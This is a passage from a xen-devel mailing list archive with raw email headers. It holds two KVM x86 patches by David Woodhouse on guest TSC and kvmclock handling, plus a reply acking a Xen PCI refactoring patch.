 id 6a48286c-ec1a-0a2a45030019-5a9b5cc7915c-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:56 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059O5-3OG6; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROq-2d0k;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=mU5wFjlLT83r2DMLYPo2Un7WZ36IERFw89f8aTvqSMA=; b=pLhCX7LKJ9jL0Egq3v1CQ2lbNB
	6geYPA9+pnJQWRXzcRMfmIi6LmGdMv7pThTm9NBNqZ3oV/CLIRofkA9ghaM+kloYstTg6rGJ/uqbr
	GnQswAHHEQt//Hy0gqdhdsn2erC1pWE0fd77SkDgRHk6MqST5sk0bwspbMRnNR5szbd7Ymj8VJCst
	YU9p6hcjeyn6NnLTlQsfhXC1nz4OCMMSxlp07pY7lLsSATOEAODpqxY33VaH+awEptGUnxzsC6wQA
	YeA0u9LEqIHNkVIvkPfmzrOZ2vz+0FVTFKbgwlsKGY+yYpSVLKz1UcRj/XZobe/0Q+GwKKYcpYyCW
	9ykmkL4g==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 16/36] KVM: x86: Restructure kvm_guest_time_update() for TSC upscaling
Date: Fri,  3 Jul 2026 22:17:55 +0100
Message-ID: <20260703212145.343527-17-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113836-BD1BE5D1-951A7974/0/0
X-purgate-type: clean
X-purgate-size: 4893

From: David Woodhouse <dwmw@amazon.co.uk>

Restructure kvm_guest_time_update() so that kernel_ns/host_tsc are
always "now" when doing TSC catchup, then swap in the master clock
reference values afterward for the hv_clock.

This makes the TSC upscaling code considerably simpler: the catchup
adjustment is computed as the delta between what the guest TSC *should*
be at "now" and what it actually is, rather than mixing "now" and
"master clock reference" timestamps.

The seqcount loop now also contains the kvm_get_time_and_clockread()
call (matching get_kvmclock's pattern).

Based on a suggestion by Sean Christopherson.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 78 ++++++++++++++++++++++++++++++++--------------
 1 file changed, 54 insertions(+), 24 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 55fb19fb7a88..9dc4213f0fa5 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3349,45 +3349,60 @@ static void kvm_setup_guest_pvclock(struct pvclock_vcpu_time_info *ref_hv_clock,
 int kvm_guest_time_update(struct kvm_vcpu *v)
 {
 	struct pvclock_vcpu_time_info hv_clock = {};
-	unsigned long flags;
 	u64 tgt_tsc_hz;
 	unsigned seq;
 	struct kvm_vcpu_arch *vcpu = &v->arch;
 	struct kvm_arch *ka = &v->kvm->arch;
 	s64 kernel_ns;
 	u64 tsc_timestamp, host_tsc;
+	u64 master_host_tsc = 0;
+	s64 master_kernel_ns = 0;
+	s64 kvmclock_offset = 0;
 	bool use_master_clock;
 
-	kernel_ns = 0;
-	host_tsc = 0;
-
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
 	 * to the guest.
 	 */
 	do {
 		seq = read_seqcount_begin(&ka->pvclock_sc);
+
 		use_master_clock = ka->use_master_clock;
+
+		/*
+		 * The TSC read and the call to get_cpu_tsc_khz() must happen
+		 * on the same CPU.
+		 */
+		get_cpu();
+
+		tgt_tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
+
+#ifdef CONFIG_X86_64
+		if (use_master_clock &&
+		    !kvm_get_time_and_clockread(&kernel_ns, &host_tsc) &&
+		    !read_seqcount_retry(&ka->pvclock_sc, seq))
+			use_master_clock = false;
+#endif
+
+		put_cpu();
+
 		if (use_master_clock) {
-			host_tsc = ka->master_cycle_now;
-			kernel_ns = ka->master_kernel_ns;
+			master_host_tsc = ka->master_cycle_now;
+			master_kernel_ns = ka->master_kernel_ns;
+		} else {
+			local_irq_disable();
+			host_tsc = rdtsc();
+			kernel_ns = get_kvmclock_base_ns();
+			local_irq_enable();
 		}
+
+		kvmclock_offset = ka->kvmclock_offset;
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 
-	/* Keep irq disabled to prevent changes to the clock */
-	local_irq_save(flags);
-	tgt_tsc_hz = (u64)get_cpu_tsc_khz() * 1000;
 	if (unlikely(tgt_tsc_hz == 0)) {
-		local_irq_restore(flags);
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, v);
 		return 1;
 	}
-	if (!use_master_clock) {
-		host_tsc = rdtsc();
-		kernel_ns = get_kvmclock_base_ns();
-	}
-
-	tsc_timestamp = kvm_read_l1_tsc(v, host_tsc);
 
 	/*
 	 * We may have to catch up the TSC to match elapsed wall clock
@@ -3397,17 +3412,32 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	 *      entry to avoid unknown leaps of TSC even when running
 	 *      again on the same CPU.  This may cause apparent elapsed
 	 *      time to disappear, and the guest to stand still or run
-	 *	very slowly.
+	 *      very slowly.
 	 */
 	if (vcpu->tsc_catchup) {
-		u64 tsc = compute_guest_tsc(v, kernel_ns);
-		if (tsc > tsc_timestamp) {
-			adjust_tsc_offset_guest(v, tsc - tsc_timestamp);
-			tsc_timestamp = tsc;
-		}
+		s64 adjustment;
+
+		/*
+		 * Calculate the delta between what the guest TSC *should* be
+		 * and what it actually is according to kvm_read_l1_tsc().
+		 */
+		adjustment = compute_guest_tsc(v, kernel_ns) -
+			     kvm_read_l1_tsc(v, host_tsc);
+		if (adjustment > 0)
+			adjust_tsc_offset_guest(v, adjustment);
 	}
 
-	local_irq_restore(flags);
+	/*
+	 * Now that TSC upscaling is out of the way, the remaining calculations
+	 * are all relative to the reference time that's placed in hv_clock.
+	 * If the master clock is NOT in use, the reference time is "now".  If
+	 * master clock is in use, the reference time comes from there.
+	 */
+	if (use_master_clock) {
+		host_tsc = master_host_tsc;
+		kernel_ns = master_kernel_ns;
+	}
+	tsc_timestamp = kvm_read_l1_tsc(v, host_tsc);
 
 	/* With all the info we got, fill in the values */
 
@@ -3427,7 +3457,7 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;
 	hv_clock.tsc_to_system_mul = vcpu->pvclock_tsc_mul;
 	hv_clock.tsc_timestamp = tsc_timestamp;
-	hv_clock.system_time = kernel_ns + v->kvm->arch.kvmclock_offset;
+	hv_clock.system_time = kernel_ns + kvmclock_offset;
 	vcpu->last_guest_tsc = tsc_timestamp;
 
 	/* If the host uses TSC clocksource, then it is stable */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:24:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:24:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353952.1609763 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMr-0002vx-QG; Fri, 03 Jul 2026 21:24:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353952.1609763; Fri, 03 Jul 2026 21:24:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMr-0002uz-GE; Fri, 03 Jul 2026 21:24:13 +0000
Received: by outflank-mailman (input) for mailman id 1353952;
 Fri, 03 Jul 2026 21:24:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMp-0002lY-W8
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:24:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMp-00A8LG-Cn; Fri, 03 Jul 2026 23:24:11 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48281d-bab6-0a2a0a5309dd-0a2a4507d556-28
 for <multiple-recipients>; Fri, 03 Jul 2026 23:24:10 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48287a-9c8e-0a2a45070019-5a9b5cc78b72-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:24:10 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKe-000000059OC-0v73; Fri, 03 Jul 2026 21:23:05 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPn-1wE5;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=cd7ADB+seora88pbKs2aD/tIbj9VePpwMwSL1OtTGjc=; b=apbGiZMkUWlTVRA2dMsajeQnJ0
	RhOJ6E89Pg9nZWfqc1RytnC60PxmSbLIc70g2wiX9+ooo+ZTGG+wuRG28iqP40gybMT4pWEYVKG45
	IVR/hQwGVcaV0h45HGBgtN2qd4s+8dCM8XetiqvJ905knza/omAjyD5QDeKL2kLEu5tSs9t9rUG0C
	pUge3V166Jv7ecOVz6xHEpZMkC/QA8i04z7CCvmXPW7GybxZC1kDSoXQr3x1//zaHva65YLoum3ha
	jySMWli1TzgZTW4U5jDjlS4f0GHvt/pA6S68YpOLver+gZSd/WhlFkM4AA9b5RT7qhPBtTqlM1su1
	y/Xr5sFQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 30/36] KVM: x86: Re-synchronize TSC after KVM_SET_TSC_KHZ
Date: Fri,  3 Jul 2026 22:18:09 +0100
Message-ID: <20260703212145.343527-31-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1783113850-145FC25E-F64A76C9/0/0
X-purgate-type: clean
X-purgate-size: 2200

From: David Woodhouse <dwmw@amazon.co.uk>

KVM_SET_TSC_KHZ changes the vCPU's TSC scaling ratio but does not
update the VM-wide cur_tsc_scaling_ratio used by get_kvmclock().
This causes get_kvmclock() to use a stale (default 1:1) ratio when
computing the KVM clock, leading to drift between the host-side
kvmclock and what the guest observes.

Fix this by calling kvm_synchronize_tsc() after changing the TSC
frequency. This:
 - Updates cur_tsc_scaling_ratio (consumed by pvclock_update_vm_gtod_copy)
 - Ensures the TSC value is continuous across the frequency change
 - Triggers kvm_track_tsc_matching() for proper masterclock handling
 - Allows subsequent vCPUs to synchronize via the 1-second slop hack

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 80fe69974ded..37a768b2fe16 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -206,6 +206,7 @@ module_param(mitigate_smt_rsb, bool, 0444);
 #ifdef CONFIG_X86_64
 static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp);
 #endif
+static void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value);
 #define KVM_MAX_NR_USER_RETURN_MSRS 16
 
 struct kvm_user_return_msrs {
@@ -2584,6 +2585,7 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 {
 	u32 thresh_lo, thresh_hi;
 	int use_scaling = 0;
+	u64 tsc;
 
 	/* tsc_khz can be zero if TSC calibration fails */
 	if (user_tsc_khz == 0) {
@@ -2611,7 +2613,17 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 			 user_tsc_khz, thresh_lo, thresh_hi);
 		use_scaling = 1;
 	}
-	return set_tsc_khz(vcpu, user_tsc_khz, use_scaling);
+	/*
+	 * Read the guest TSC before changing the ratio, so we can
+	 * re-synchronize to preserve continuity across the change.
+	 */
+	tsc = kvm_read_l1_tsc(vcpu, rdtsc());
+
+	if (set_tsc_khz(vcpu, user_tsc_khz, use_scaling))
+		return -1;
+
+	kvm_synchronize_tsc(vcpu, &tsc);
+	return 0;
 }
 
 static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 04 12:19:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 04 Jul 2026 12:19:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354331.1609770 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfzKQ-0006Wo-Cx; Sat, 04 Jul 2026 12:18:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354331.1609770; Sat, 04 Jul 2026 12:18:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfzKQ-0006Wg-9W; Sat, 04 Jul 2026 12:18:38 +0000
Received: by outflank-mailman (input) for mailman id 1354331;
 Sat, 04 Jul 2026 12:18:36 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wfzKO-0006Wa-UN
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 12:18:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfzKO-002eU2-BK
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 14:18:36 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a48f9eb-bab6-0a2a0a5309dd-0a2a4505d6b8-34
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 14:18:35 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a48fa19-3cb2-0a2a45050019-888fbc3352b3-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 14:18:35 +0200
Received: by mx.zohomail.com with SMTPS id 1783167502132933.2922733573388;
 Sat, 4 Jul 2026 05:18:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:Cc:References:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1783167505; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=EfZ9cGjuuv37D6ppIlfjx5EWNVOZLItHTlo2+Y2K7x9cGFZeI9S1RZATbtdhq1o6vDNeU1sRTwRVPO0EsdLekXQv7zFgGGGAl+dmPJnbxS1HyUeCypznftabO8yRYJgwok5PBGmAe/enqeMAjx9A0T110IfGKica3BRn8vfwKgc=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1783167505; h=Content-Type:Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:References:Subject:Subject:To:To:Message-Id:Reply-To; 
	bh=nvPyqzORMvUik+ZDU3iWG4TakUWWBCyUbCCHGUSGanU=; 
	b=nPafiV32pAQA0w9x0f04xLvE3aVCmBt61a/FUdGukPWoMk1Y/Tkj65eh31SxRQEIUpPCU/Cws1YBjYfE269Sbu1ORWuYyPnUX4Jyg2HptcUbj15M98/Rx+LbkMKSmJqWTy3GnTAfC2U0yslYRmaH9534/eKjdLKTEi+Tthn880s=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1783167505;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:Cc:Cc:References:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To;
	bh=nvPyqzORMvUik+ZDU3iWG4TakUWWBCyUbCCHGUSGanU=;
	b=SaAUPL01Q9G13nzfQyeUgzjEMCA12Nt7pxKRzfiggQBRmmCLWfc3RS5IwZgnOfXg
	rWMx8a/nyYKnZxanKCVIAcg+dEUVMalK9EXull/ZyyDEjEBB/AcFqFUs2ehmhuduG6l
	IGgFjJ0JyyZGyr+5lkKsT5WI+xYk76NlTEID0U9c=
Message-ID: <0a6e5076-d5d1-4ae7-9f34-07454881301a@apertussolutions.com>
Date: Sat, 4 Jul 2026 08:18:20 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 02/18] pci: Use pci_sbdf_t in pci_add_device()
To: Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
Cc: Jan Beulich <jbeulich@suse.com>, Andrew Cooper
 <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753810.8631fc262581453bbf619ec5b2062170.19f1468572a000701b@vates.tech>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <1782753810.8631fc262581453bbf619ec5b2062170.19f1468572a000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-c201ff/1783167515-0F1142B8-05D1C448/0/0
X-purgate-type: clean
X-purgate-size: 2762


On 6/29/26 1:21 PM, Teddy Astie wrote:
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>
> ---
> v3: Don't adjust adjacent code.
> ---
>   xen/arch/x86/physdev.c        |  6 +++---
>   xen/drivers/passthrough/pci.c | 36 +++++++++++++++++------------------
>   xen/drivers/pci/physdev.c     |  3 ++-
>   xen/include/xen/pci.h         |  4 ++--
>   4 files changed, 24 insertions(+), 25 deletions(-)
> 
> diff --git a/xen/arch/x86/physdev.c b/xen/arch/x86/physdev.c
> index 5bbcf3b530..60c02076d6 100644
> --- a/xen/arch/x86/physdev.c
> +++ b/xen/arch/x86/physdev.c
> @@ -472,7 +472,7 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_HANDLE_PARAM(void) arg)
>           if ( copy_from_guest(&manage_pci, arg, 1) != 0 )
>               break;
>   
> -        ret = pci_add_device(0, manage_pci.bus, manage_pci.devfn,
> +        ret = pci_add_device(PCI_SBDF(0, manage_pci.bus, manage_pci.devfn),
>                                NULL, NUMA_NO_NODE);
>           break;
>       }
> @@ -503,8 +503,8 @@ ret_t do_physdev_op(int cmd, XEN_GUEST_HANDLE_PARAM(void) arg)
>           pdev_info.is_virtfn = manage_pci_ext.is_virtfn;
>           pdev_info.physfn.bus = manage_pci_ext.physfn.bus;
>           pdev_info.physfn.devfn = manage_pci_ext.physfn.devfn;
> -        ret = pci_add_device(0, manage_pci_ext.bus,
> -                             manage_pci_ext.devfn,
> +        ret = pci_add_device(PCI_SBDF(0, manage_pci_ext.bus,
> +                                      manage_pci_ext.devfn),
>                                &pdev_info, NUMA_NO_NODE);
>           break;
>       }
> diff --git a/xen/drivers/passthrough/pci.c b/xen/drivers/passthrough/pci.c
> index 0adf573150..3038827e28 100644
> --- a/xen/drivers/passthrough/pci.c
> +++ b/xen/drivers/passthrough/pci.c
> @@ -662,12 +662,11 @@ unsigned int pci_size_mem_bar(pci_sbdf_t sbdf, unsigned int pos,
>       return is64bits ? 2 : 1;
>   }
>   
> -int pci_add_device(u16 seg, u8 bus, u8 devfn,
> -                   const struct pci_dev_info *info, nodeid_t node)
> +int pci_add_device(pci_sbdf_t sbdf, const struct pci_dev_info *info, nodeid_t node)
>   {
>       struct pci_seg *pseg;
>       struct pci_dev *pdev;
> -    unsigned int slot = PCI_SLOT(devfn), func = PCI_FUNC(devfn);
> +    unsigned int slot = sbdf.devfn, func = sbdf.fn;
>       const char *type;
>       int ret;
>   
> @@ -680,17 +679,17 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
>       else
>           type = "device";
>   
> -    ret = xsm_resource_plug_pci(XSM_PRIV, (seg << 16) | (bus << 8) | devfn);
> +    ret = xsm_resource_plug_pci(XSM_PRIV, sbdf.sbdf);
>       if ( ret )
>           return ret;

Acked-by: Daniel P. Smith <dpsmith@apertussolutions.com>



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354501.1609802 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfn-0003LX-1S; Sun, 05 Jul 2026 05:45:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354501.1609802; Sun, 05 Jul 2026 05:45:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-0003Iz-Qe; Sun, 05 Jul 2026 05:45:46 +0000
Received: by outflank-mailman (input) for mailman id 1354501;
 Sat, 04 Jul 2026 18:33:07 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5Ao-0000S2-Up
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:33:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5Ao-0048ji-Af
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:33:06 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a49518c-bab6-0a2a0a5309dd-0a2a45058334-36
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:06 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951e0-3cb2-0a2a45050019-cddcb4834ccc-3
